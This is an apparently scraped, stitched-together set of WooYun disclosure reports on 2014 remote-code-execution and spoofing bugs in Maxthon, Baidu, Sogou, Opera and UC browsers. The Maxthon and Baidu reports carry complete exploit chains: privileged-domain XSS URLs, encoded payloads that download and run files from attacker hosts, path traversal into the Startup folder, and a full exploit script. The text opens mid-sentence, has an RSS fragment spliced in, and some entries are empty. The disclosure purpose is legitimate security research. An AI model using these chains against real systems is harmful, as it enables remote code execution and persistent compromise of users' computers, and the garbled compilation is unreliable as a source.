以前测富文本过滤,都是“黑盒”去猜测,现在过滤的正则都摆在眼前了,而且只有这么几条正则,难道还绕不过?定睛几秒,就发现
效果如下: 嗯,这样一来,我们就获得了一个特权域XSS,当我们访问http://192.168.1.13/mx/poc3.xml,傲游会自动跳向以下地址,并执行我们的XSS代码:

mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml

-------------------------------------------------------------- 0x02 利用傲游的权限隔离设计缺陷,可实现跨域调用API -------------------------------------------------------------- 傲游对不同的页面,给予了不同的权限: 比如: mx://res/notification/ 该路径下页面允许访问 maxthon.program 但是,

mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml

路径下则不允许访问 maxthon.program 这种设计是有问题的,因为 两页页面的 protocol 都是 mx ,domain 都是 res, 所以两个页面是可以iframe嵌入后进行互相通信的,即,我们在
mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml
页面通过iframe嵌入
mx://res/notification/
后,即可通过
contentWindow.maxthon.program
来调用 program的API。 -------------------------------------------------------------- 0x03 综上,调用计算器测试 -------------------------------------------------------------- 结合以上分析,不难构建以下 xml 代码:
wooyun.org 最新提交漏洞 http://www.wooyun.org 5 wooyun.org zh-cn www.wooyun.org webmaster@wooyun.org WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 <!<br />]> ]> Wed, 05 Nov 2014 15:38:18 +0800 路人甲 WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞
用户访问恶意构造的xml: http://xsst.sinaapp.com/test/mxpoc.xml, 效果如下图: -------------------------------------------------------------- 0x04 如果,你们不修 external.mxCall的话。。。。 -------------------------------------------------------------- 那么就会有以下内容,找一个maxthon.cn域下的XSS,执行以下代码。
external.mxCall('InstallSkin', "http://xsst.sinaapp.com/test/mx.bat"); setTimeout(function(){ location.href='http://xsst.sinaapp.com/test/mxpocbat.xml'; },1000);
这里我GOOGLE搜索了到了一个(傲游没XSS过滤器啦,找个反射型还是比较容易的)用于演示:

http://sso.maxthon.cn/quit.php?host=www.007.mx%bf\'.replace(/.*/,/javascript:eval(String.fromCharCode(101,120,116,101,114,110,97,108,46,109,120,67,97,108,108,40,39,73,110,115,116,97,108,108,83,107,105,110,39,44,32,32,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,46,98,97,116,34,41,59,13,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,13,32,32,32,32,32,32,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,112,111,99,98,97,116,46,120,109,108,39,59,13,125,44,49,53,48,48,41,59));/.source);}//&url=/login.php\'?ac=dada

漏洞证明

访问以下页面, 观看计算器: http://xsst.sinaapp.com/test/mxpoc.xml 访问以下页面,观看批处理:

http://sso.maxthon.cn/quit.php?host=www.007.mx%bf\'.replace(/.*/,/javascript:eval(String.fromCharCode(101,120,116,101,114,110,97,108,46,109,120,67,97,108,108,40,39,73,110,115,116,97,108,108,83,107,105,110,39,44,32,32,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,46,98,97,116,34,41,59,13,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,13,32,32,32,32,32,32,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,112,111,99,98,97,116,46,120,109,108,39,59,13,125,44,49,53,48,48,41,59));/.source);}//&url=/login.php\'?ac=dada


缺陷编号:wooyun-2014-082043 漏洞标题:傲游浏览器远程命令执行漏洞(浏览器设计缺陷) 相关厂商:傲游 漏洞作者: gainover 提交时间:2014-11-05 11:23 修复时间:2015-02-03 11:24 公开时间:2015-02-03 11:24 漏洞类型:远程代码执行

漏洞说明

上一个漏洞竟然给5分,良心呢!!女又心口扌立! 当用户访问攻击者恶意构造的页面后,可以导致执行攻击者所指定的远程命令。 傲游浏览器在被前人提交了几次命令执行后,一些危险的API,比如File IO 和 maxthon.program.Program.launch 等已经做出了一定程度的限制。 并且,由于之前一些漏洞的洗礼( WooYun: 遨游浏览器命令执行漏洞 ),使得傲游浏览器对不同域之间的重定向,进行了限制,使得我们无法从http://跳转到一些特权域,比如mx://(会提示无法访问本地资源),这使得我们想在特权域下执行XSS来实现命令执行变得困难。 -------------------------------------------------------------- 0x01 获得特权域XSS -------------------------------------------------------------- 1. 首先,我从
MxWebkit.dll
文件中搜索
mx://
得到一些有用的信息: 2. 我选择了其中一个文件
mx://res/notification/saved/index.htm
,进行查看: 通过对代码进行简单的查看,不难发现dir参数进入了innerHTML,但限制了长度30 3. 我们可以构造以下URL,弹窗测试(请自行测试):

mx://res/notification/saved/index.htm#a=1&dir=

4. 由于 dir参数具有长度限制30,但这个长度已经足够我们调用外部JS文件了。利用
“\u2028”
(此字符参见:http://drops.wooyun.org/papers/938),结合
Function(URL)()
来执行JS。代码如下:

mx://res/notification/saved/index.htm#a=1&dir=&【字符:\u2028】var s=document.createElement("script");s.src="http://192.168.0.115/mx/poc2.js";document.body.appendChild(s);

5. 值得我们注意的是,mx://res/notification/saved/index.htm 页面下,由于功能需要,允许使用maxthon.program.Program.launch这个API,这使得该页面下的XSS,可以执行指定路径的程序,如下图所示: 调用maxthon.program.Program.launch弹出计算器:
maxthon.program.Program.launch("C:\\windows\\system32\\calc.exe","");
-------------------------------------------------------------- 0x02 如何调用特权域XSS? -------------------------------------------------------------- 由于我们无法通过 location.href或是window.open等方式从 http域跳转至 mx域,这使得我们无法自动调用mx域下的XSS。 我们怎么才能调用mx域下的页面呢? 通过一番分析发现, maxthon.cn 域下的 maxthon 对象,允许访问 maxthon.browser.config来更改浏览器的一些用户设置。 于是一个“猥琐”的方法诞生啦~~ 那就是将用户默认首页改为 mx://res/notification/saved/index.htm 代码如下:
maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.multihomepage", '
')
执行以上代码,可以发现,用户首页确实被修改: 由于默认情况下,用户下次启动浏览器时,会自动打开主页: 因此,在下次启动浏览器时,mx://res/notification/saved/index.htm将会被打开,并且执行我们的恶意代码,并通过maxthon.program.Program.launch来执行系统内的应用程序。 -------------------------------------------------------------- 0x03 通过external.mxCall函数写入临时文件,达到任意命令执行 -------------------------------------------------------------- 上一步,我们通过maxthon.program.Program.launch仅能实现调用系统自带的程序,比如calc.exe,要实现执行我们指定的命令,需要向用户本地写入文件。 通过研究发现,傲游的external.mxCall函数会将远程文件,临时下载到临时目录下,且用户名为用户指定的文件名(即文件名非随机,可预测),以WIN7为例:
//当我们执行 external.mxCall('InstallSkin', "http://192.168.0.115/mx/test.bat");
临时目录下会生成test.bat 接着,我们要知道的是,临时目录的路径在哪里呢? 傲游浏览器也为我们提供了相应的API:
var p=maxthon.system.Environment.getFolderPath('Mx3data'); //得到临时目录路径 var tmp=p+"Temp\\";
* 值得说明的是
external.mxCall
只能在 *.maxthon.cn 域下执行,不能在 mx:// 下执行。 -------------------------------------------------------------- 0x04 总结 -------------------------------------------------------------- A. 我们找到一个 *.maxthon.cn 下的XSS, 这里我就不找了,直接用上一个漏洞中my.maxthon.cn域下的FLASH XSS。

B. 以上代码会调用 http://192.168.0.115/mx/poc2.1.js,该JS代码如下:
(function(){ //下载远程的test.bat到本地的Temp目录下 external.mxCall('InstallSkin', "http://192.168.0.115/mx/test.bat"); //将用户浏览器主页设置为 我们利用的mx://域下的地址 maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.multihomepage", '
') })();
该JS主要执行两个功能, 一是下载一个test.bat到临时目录下, 二是将用户主页改为 mx://res/notification/saved/index.htm#.. XSS代码... C. 当用户下一次启动浏览器时,mx://res/notification/saved/index.htm#.. XSS代码... 将会被自动打开,XSS代码将会被自动执行,XSS代码将会调用http://192.168.0.115/mx/poc2.2.js,其代码内容如下:
(function(){ //获得临时目录路径 var p=maxthon.system.Environment.getFolderPath('Mx3data'); var l=p+"\\Temp\\"; //执行步骤B中下载的test.bat maxthon.program.Program.launch(l+"test.bat",""); })();
此步骤中,临时目录下的
test.bat
将会被执行。 -------------------------------------------------- 总体来说,就是下面这个图: 具体效果见漏洞证明中的视频演示。

漏洞证明

效果见视频演示(WIN7): http://v.youku.com/v_show/id_XODE5MDEwOTQ0.html 密码:wooyuncmdr 视频演示中,test.bat的内容为 cmd /k ipconfig 由于 mx:// 协议可以向 http:// 跳转,所以被修改的用户主页,可以在执行命令后,跳转为正常的用户主页,以实现一定的隐蔽性。

缺陷编号:wooyun-2014-080910 漏洞标题:百度浏览器远程命令执行三 相关厂商:百度 漏洞作者: gainover 提交时间:2014-10-26 22:01 修复时间:2015-01-24 22:02 公开时间:2015-01-24 22:02 漏洞类型:远程代码执行

漏洞说明

啊啊啊,我已经被榨干了,百度,快放开我, 我再也不敢要20了。。 发现浏览器有更新了,就更新到最新版了(6.5.0.50449),看了下,某API做了限制,但是研究了一下发现还是可以被奇葩的绕过哇,继续结合某XSS,依然可以在用户采用默认安装的情况下导致命令执行。 1. 更新到最新版,发现之前的漏洞已经被修补,于是将
bdbrowser.skin.download
API进行重试了测试一下, 发现做了以下更改:
A. 当使用 ../../../../../cmd.exe 这种方式来对写入路径往上级目录跳转时,发现对方仅会取值cmd.exe,也就是说../../../全部被忽略掉了。 B. 对于下载皮肤的来源进行了过滤,仅允许来自 *.baidu.com下的资源文件。
2. 随后,我对每个参数的过滤方式进行了猜测式的尝试绕过,发现:
A.
../../../
的方式会被过滤,但是
..//..//..//
的方式却不会被过滤,这样一来,我们依然可以向上级目录写入内容 B. 限制下载资源来源为
*.baidu.com
的方式太过于宽松,依然结合一些 *.baidu.com下的资源接口,比如jsonp接口,来实现执行本地命令。
3. 从上面我们不难看出,只要我们再次可以调用特权API,我们又可以导致命令执行了。 4. 由于利用
blob
/
filesystem
协议绕过的方式已经被修补,但
file域依然是具有权限的
。 此前,我对百度浏览器目录下的htm类资源进行过审查,发现在百度浏览器的安装目录下的:
安装目录\resource\extension\security\safe_default.html 安装目录\resource\extension\security\safe_service.html
均存在DOM XSS代码,缺陷代码比较明显:
var obj = queryHash(decodeURIComponent(location.hash).replace("#", "")); document.getElementById("name").innerHTML = obj.name; document.getElementById("path").innerHTML = obj.path;
但由于queryHash中获取参数时以“=”号分隔,使得我们的利用代码里不能具有等号,不需要等号的XSS向量,只有,然而大家都知道,
xx.innerHTML=""
并不会去执行script标签内的脚本。只有在IE浏览器下,使用
1
才能使得脚本被执行。 5. 因此,我们又要利用 《百度浏览器远程命令执行》中 ftp强制使用IE内核的方法。然而,该html文件在本地域,我们想要使用

的方式直接去访问该缺陷html是不行的。不过庆幸的是,由于是IE内核,我们可以通过UNC path来实现访问本地html的目的,该方法在《搜狗浏览器任意文件读取漏洞 》( WooYun: 搜狗浏览器任意文件读取漏洞 )同样被使用过。 我们可以据此来构造利用代码:

利用代码会通过
safe_default.html
的DOM XSS实现调用baidu3.js 6.baidu3.js总体上和《百度浏览器远程命令执行二 - 绕过特权域限制 》中的命令执行代码相类似,以下是几个不同的点:
A. JSON.parse 被改用为
eval("("+data+")")
的方式以支持低版本IE核。 B. bdbrowser.skin.download 的写入地址,采用
..//..//..//..//
启动目录
//test.js
的方式绕过对
../../
的过滤,向启动目录中写入test.js C. 使用随便找的一个
xapp.baidu.com
下的jsonp接口,将callback回调函数名称替换为我们要执行的恶意JS代码内容。
7. 第6步中所述的JSONP构造如下: A. 首先写一个下载计算器并执行的JS代码
var x=new ActiveXObject("Microsoft.XMLHTTP"); x.open("GET","http://192.168.1.105/calc.exe",false); x.send(); var s=new ActiveXObject("ADODB.Stream"); s.Mode=3; s.Type=1; s.Open(); s.Write(x.responseBody); s.SaveToFile("calc.exe"); var y=new ActiveXObject("WScript.Shell"); y.run("calc.exe");
B. 然后转换成只有括号的形式(http://app.baidu.com/app/enter?appid=280383)
eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59))
C. 放入JSONP的
callback
参数中。

http://xapp.baidu.com/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void

D. 将上面地址作为
bdbrowser.skin.download
函数的下载资源来源地址。 8. 其它代码,比如获取用户目录同上一篇文章,当用户访问我们恶意构造的网页后,JSONP页面的内容将被保存到启动目录下,名字为test.js, 用户下次开机启动后,test.js将会被执行,并远程下载calc.exe,然后执行calc.exe 9. 修改后的利用代码
baidu3.js
如下:
function getInstallList(id,list){ var result=eval("("+list+")"); var apps=result.content.ItemList; var deleteID=""; for(var i=apps.length-1;i>=0;i--){ if(/\w{32}/.test(apps

)){ deleteID=apps

; break; } } //alert("deleteID:"+deleteID); if(!deleteID){ //不存在自安装插件,通过安装法来获得user window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","getUser","{\"ID\":\"eococdloljmhdpnihekiiohodgcgjigh\",\"URL\":\"http://dlsw.br.baidu.com/49411271abae81764cf268983c95d9d7.crx\",\"UPDATE\":\"false\"}",window,""); }else{ //通过删除插件法来实现静默执行 window.external.StartRequest(222,"AppService.AppMarket.DeleteExt","getUser","{\"ID\":\""+deleteID+"\"}",window,""); } } function getUser(id,res){ var isWin7=/NT\s+6/.test(navigator.userAgent); var user=isWin7?(res.match(/
:
+Users
+(
+)
+AppData/)||
)
:(res.match(/
:
+(Documents and Settings|DOCUME~1)
+(
+)
+/)||
)
; generateCMD(user); } function main(){ window.external.StartRequest(222,"AppService.AppMarket.GetInstalledList","getInstallList","{\"RequireDetail\":\"1\",\"RequirePermission\":\"1\"}",window,""); } function generateCMD(user){ //alert("Current User:"+user+"\n"); var isWin7=/NT\s+6/.test(navigator.userAgent); var win7="Users//"+user+"//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//test.js"; var xp="Documents and Settings//"+user+"//「开始」菜单//程序//启动//test.js"; //alert("1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"\""); window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{\"name\":\"1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"\",\"url\":\"http://xapp.baidu.com/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void\"}",window,"") } try{main();}catch(e){};

漏洞证明

用户采用默认安装的情况下将会导致远程命令执行。 效果见视频: http://v.youku.com/v_show/id_XODExNzQxODky.html?tpa=dW5pb25faWQ9MjAwMDA4XzEwMDAwM18wMV8wMQ 密码:wooyuncmd
修复方案: 1. 对bdbrowser.skin.download的写入路径,在判断上考虑得更为全面一些? 对资源来源域名,限制到*.baidu.com下太为宽松,全部子域名下的可能性存在太多。个人觉得最好的办法是,提供一个或者一批固定的资源域名,并保证该域名下的资源用户不可控。 2. 修复本地两个文件的DOM XSS漏洞,当然能把iframe访问unc path这个做了限制更好。

缺陷编号:wooyun-2014-080438 漏洞标题:百度浏览器远程命令执行二 - 绕过特权域限制 相关厂商:百度 漏洞作者: gainover 提交时间:2014-10-23 08:54 修复时间:2015-01-21 08:56 公开时间:2015-01-21 08:56 漏洞类型:远程代码执行

漏洞说明

哎呀,上一个没给满20rank。。 所以我又来啦~ 这一次不用XSS了,直接用了某个东东绕过了特权域的限制。 总共用了三个漏洞点:
1. 绕过特权域判断 2. 利用缺陷API下载任意程序至指定目录 3. 结合电脑用户名称泄漏的缺陷,将程序下载至用户启动目录
以下是详情: 1. 特权域限制上存在问题, 百度浏览器除了允许
bdbrowser://

http://xapp.baidu.com/
这2个域外,我发现
file域
同样可以执行特权API, 而当我们
从http域重定向至 bdbrowser 或者 file域
时,都会提示禁止访问本地域资源,这不禁让我想到了另外一个有点算是本地域的 东西
blob
。于是控制台测试以下代码:
var data=''; var blob=new Blob(
,{"type":"text/html"}); (function(){ var iframe=document.createElement("iframe"); iframe.src=URL.createObjectURL(blob); document.body.appendChild(iframe); })()
发现可以成功执行,这样一来,我们可以在任何页面里通过这段代码来执行特权API了。 2. 特权API
bdbrowser.skin.download
的 的
name参数未过滤
,导致可以将皮肤文件下载至系统盘的任意指定目录内。
window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{\"name\":\"1/../../../../../../../../../../../../../cmd.exe\",\"url\":\"http://192.168.1.105/testbaidu.exe\"}",window,"")
例如以上代码,将会在系统盘根目录下生成一个cmd.exe,如下图所示: 3. 我们要实现执行命令,还需要将程序写入到系统的“启动”目录下。 但启动目录的路径中,需要知道 用户名信息。经过研究发现:
AppService.AppMarket.DownloadPack

AppService.AppMarket.DeleteExt
这2个API均可导致用户名泄漏,其中不使用我前面所发布的上一个漏洞中用到的技巧的话,前者会弹出安装提示,而后者不会提示,但是后者要求用户装过插件方可。 4. 结合以上三个步骤,我们可以构建以下PoC代码,仅供参考,在WIN7和IE下进行了测试。

百度浏览器远程命令执行DEMO


最终执行后,效果如下图所示:

漏洞证明

在WIN7 和 XP下测试成功, 视频演示:http://v.youku.com/v_show/id_XODA5MzM1NzA4.html (录制于XP虚拟机)
修复方案: 1. 修复特权域的判断 2. 对bdbrowser.skin.download这个特权API 的参数进行严格过滤,限制下载路径与下载来源 3. 对AppService.AppMarket.DownloadPack 和 AppService.AppMarket.DeleteExt的返回数据中敏感的路径信息进行屏蔽,如果数据不需要,可以考虑不返回这些路径信息。

缺陷编号:wooyun-2014-080158 漏洞标题:百度浏览器远程命令执行 相关厂商:百度 漏洞作者: gainover 提交时间:2014-10-20 18:24 修复时间:2015-01-18 18:26 公开时间:2015-01-18 18:26 漏洞类型:远程代码执行

漏洞说明

为了上google,我装了百度浏览器(版本:
6.5.0.50415
),然后就研究了一番。 1. 按照常规的测试思路,首先我们找到特权域,包括bdbrowser://, http://xapp.baidu.com/ 这2个。 2. 随后我们需要在这2个特权域下找到可用的XSS,在bdbrowser域下并没有找到太明显可用的地方,然后开始找xapp.baidu.com,经过一番搜刮,找到了一个DOM XSS的点。

http://xapp.baidu.com/browserextension/single/sinaweibo/auth.php#access_token=

3. 然而不幸的是,这个DOM XSS会被chrome的xss auditor所拦截。 4. 继续找其他XSS点也没找到, 绕XSS过滤器又绕不过,那么怎么办呢? 百度浏览器是双核,而IE内核对这个DOM XSS并不会拦截,我们可以强制百度浏览器使用IE内核,从而使得这个XSS发挥作用。 5. 使用了一段时间,发现浏览器加载ftp页面的时候,会强制使用IE模式。 6. 而ftp协议下,也是可以访问网页的,因此我们可以使用ftp协议下的页面来嵌入该XSS页面实现效果。于是虚拟机中搭建一个匿名ftp,得到url:

ftp://192.168.1.107/test/bdbrowser.htm

内容如下:

该页面内,会调用外部JS文件 http://192.168.1.20/test/bdbrowser.js 随后的利用代码,均在bdbrowser.js中写入,例如写入一句:
alert(document.domain);
,可以看到JS被成功执行。 7. 接着,我们要做的是如何从 alert 到 实现远程命令执行。 8. 通过对external所提供的API的一番研究,我将目光集中到了插件安装上。 一个典型的插件安装请求函数为以下内容:
window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","(function(id,res){alert(res)})","{\"ID\":\"pbhcaodfcnjnjnbfpagkgjncknmhelll\",\"UPDATE\":\"false\",\"URL\":\"http://dlsw.br.baidu.com/9a8fea874f8419d2281f7bb2d7cf7883.crx\"}",window,"");
然后会出现以下提示内容: 这个“安装确认框”,显然不是我们想看到的东西。。。 有办法绕过去么? 9. 我猜测,数据中的Update参数的true/false是用于控制是 “更新”一个插件,还是安装一个插件,那么如果是更新一个插件,是不是就不会出现“安装”提示了呢? 于是我用自己编写的chrome插件,进行了一个测试
window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","(function(id,res){alert(res)})","{\"ID\":\"Silenter\",\"UPDATE\":\"true\",\"URL\":\"http://x.com/swf_collector.crx\"}",window,"");
其中ID为百度浏览器内置的插件ID,UPDATE被设置为true,URL被设置为我们的插件地址。可以看到,插件被成功安装。 10. 到了这一步,我们已经能够实现远程安装任意插件了,接着就是利用插件来执行系统命令啦。 11. 利用 npapi,简单的写了一个dll,然后利用shellexecute执行一下calc
void CmdRunPluginAPI::run(const std::string& val) { ShellExecute(NULL,L"",L"calc.exe",NULL,NULL,SW_SHOW); }
12. 接着我们将chrome插件调用这个dll,具体见chrome插件开发中npapi相关文档 13. 让受害者访问一个页面,页面自动跳转到ftp页面后,插件就会被自动安装上: 代码这样的:

14. 受害者随意访问一个网页, 就可以看到执行了本地的计算器:

漏洞证明

视频: http://v.youku.com/v_show/id_XODA3NTE4NzYw.html 密码: wooyuncmd
修复方案: 嗯,先修XSS,其它方面,哪些地方欠缺安全考虑的点,从上文中自行挖掘。

缺陷编号:wooyun-2014-079357 漏洞标题:冲浪浏览器locat出用户短信 相关厂商:中国移动 漏洞作者: 问题来了 提交时间:2014-10-15 12:19 修复时间:2015-01-13 12:20 公开时间:2015-01-13 12:20 漏洞类型:用户敏感数据泄漏

漏洞说明


缺陷编号:wooyun-2014-078434 漏洞标题:safari/安卓浏览器 全版本URL欺骗漏洞 相关厂商:CNCERT 漏洞作者: mramydnei 提交时间:2014-10-06 09:24 修复时间:2015-01-04 09:26 公开时间:2015-01-04 09:26 漏洞类型:设计错误/逻辑缺陷

漏洞说明

问题存在于安卓标准浏览器全版本和safari(桌面/移动)浏览器全版本。 POC:http://kcal.pw/t5.htm
https://baidu.com
从欺骗的层面上来讲,https会比http更完美一些。因为有些浏览器会自作聪明的隐藏protocol。(参考第一张和第三张截图) 但对于长URL来讲,由于地址栏能显示的地址有限,所以在url后面加上port进行欺骗应该也有自己的优势吧。

漏洞证明

safari桌面浏览器7.1: 安卓标准浏览器4.4: safari for iphone 8.0.2: 对于其它一些国产手机浏览器,可以将:
setTimeout("location='https://baidu.com'",1600);
改成:
setTimeout("location='http://baidu.com:1234'",1600);
进行排查。差不多都有问题。(猎豹,UC,海豚,百度,QQ,搜狗,遨游等)

缺陷编号:wooyun-2014-077052 漏洞标题:搜狗浏览器IOS版本远程窃取内部隐私文件(如Cookie)亦可UXSS 相关厂商:搜狗 漏洞作者: 学习乌云 提交时间:2014-09-23 15:15 修复时间:2014-12-22 15:16 公开时间:2014-12-22 15:16 漏洞类型:非授权访问/认证绕过

漏洞说明

某流行平台上的搜狗浏览器。 在最新版iOS 7.X上测试(暂不考虑iOS 8的话),未越狱版本。
https://itunes.apple.com/cn/app/sou-gou-liu-lan-qi-wan-mei/id548608066?mt=8
搜狗浏览器会接收用户在其他iOS app里通过【
open with
】功能传进来的文件,当这个文件是如下的网页文件时,就可以实现攻击效果。 这里以Cookies.binarycookies为例。当然攻击者可以偷取其他有固定path的内部隐私文件(比如用户自己的隐私文件)。 远程偷取:当用户装了微信或QQ时,发送fileAtk.html给目标用户并告诉他去打开。很自然地,搜狗浏览器有很高几率被选中,然后攻击就成功了。

漏洞证明

当用户装了微信或QQ时,发送fileAtk.html给目标用户并告诉他去打开,他会发现下面的提示: 很自然地,搜狗浏览器有很高几率被选中,然后攻击就成功了。 远程偷Cookies.binarycookies:

缺陷编号:wooyun-2014-074506 漏洞标题:Opera浏览器跨域字符集继承漏洞 相关厂商:opera软件 漏洞作者: mramydnei 提交时间:2014-08-31 10:54 修复时间:2014-11-29 10:56 公开时间:2014-11-29 10:56 漏洞类型:设计错误/逻辑缺陷

漏洞说明

终于毕业了……再来水一发 测试环境:iphone4s/ios7.0.6/Opera Mini 模拟场景简要描述:跨域字符集继承导致正确使用的htmlspecialchars()无法抵御XSS攻击 本不存在XSS漏洞的页面示例:http://kcal.pw/cp.php
Opera mini for ios devices(iphone/ipod/ipad) Cross origin characterSet Inheritance vulnerability POC

Opera mini for ios devices(iphone/ipod/ipad) Cross origin characterSet Inheritance vulnerability POC

Tested in iphone4s/ios7.0.6


对于一般的html attributes context来讲这种过滤方法基本上是无可异议的。也就是说该页面本不存在XSS漏洞。但是由于Opera mini for ios在SOP上没有对字符集继承问题进行严格的控制,导致iframe内的页面会继承父页面的字符集。 漏洞证明: POC:http://x55.me/cpframe.htm

它能做什么完全取决于file域的权限了,例如可以窃取本地文件。可参考
WooYun: UC浏览器跨本地域漏洞可获取本地文件内容
中的exp和payload代码,经测试也是可以的,几乎可以复制,此处不再赘述。 而今天我要发的payload是
file->http
跨域弱点,自从
WooYun: UC浏览器跨本地域XSS可盗取任意域Cookie
之后,UC修补了这个弱点,file域再也无法获取到http域的任何内容(document.getElementById.contentDocument不再能获取到远程iframe的句柄),但这种限制可以间接绕过:UC内置协议
ext:uc_dw
可以无提示地下载任意类型的文件,而且request是带着相应cookie的,并保存在固定目录,下载文件名也是可预测的。所以思路就是使用ext:uc_dw把想要读取的内容下载到本地,然后再读取本地文件(file域读取file域没有限制)。 漏洞证明: http协议远程访问exp.html 先将payload.html下载到本地,五秒钟等待下载完毕 再用ext:as跨域去执行它。

exp.html内容:



假设http://m.baidu.com/是用户只有登录过才能看到的持有cookie的私有页面,为保证这一点,我用自己的id登录了百度(右上角的id): payload.html是exp.html下载到本地执行的,它先下载http://m.baidu.com/内容并自动保存到
/mnt/sdcard/UCDownloads/index.html
,然后再读取它:

执行效果如下: exp.html会先下载payload.html 五秒后payload.html会再下载http://m.baidu.com/内容并命名为index.html文件: payload.html读取index.html,从页面中的ID来看,确实是用户登录后的私有页面,而不是人人都能看到的前台页面:

漏洞证明

证明完毕,才发现我书面表达能力太差了。

缺陷编号:wooyun-2013-041641 漏洞标题:百度浏览器5.1正式版(2.210.0.42889)data协议伪造任意网站漏洞 相关厂商:百度 漏洞作者: blast 提交时间:2013-11-01 08:17 修复时间:2014-01-27 08:18 公开时间:2014-01-27 08:18 漏洞类型:设计错误/逻辑缺陷 危害等级:中

漏洞说明

